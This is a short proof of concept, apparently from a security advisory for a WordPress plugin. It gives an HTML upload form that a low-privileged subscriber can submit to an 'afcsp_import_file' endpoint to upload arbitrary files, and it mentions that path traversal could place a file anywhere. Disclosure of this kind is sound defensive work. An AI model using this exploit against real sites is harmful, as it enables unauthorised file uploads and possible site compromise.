As a subscriber, open the HTML code below while being logged in as a subscriber, then choose a file to upload and submit it

<form action="" method="POST" enctype="multipart/form-data">
    <input type="file" name="afcsp_import_file" value="File to upload">
    <input type="submit" name="submit" value="submit">

The file will be uploaded at and have the same name than the original (path can also be found in the upload response). Path traversal vector could also be used to upload the file anywhere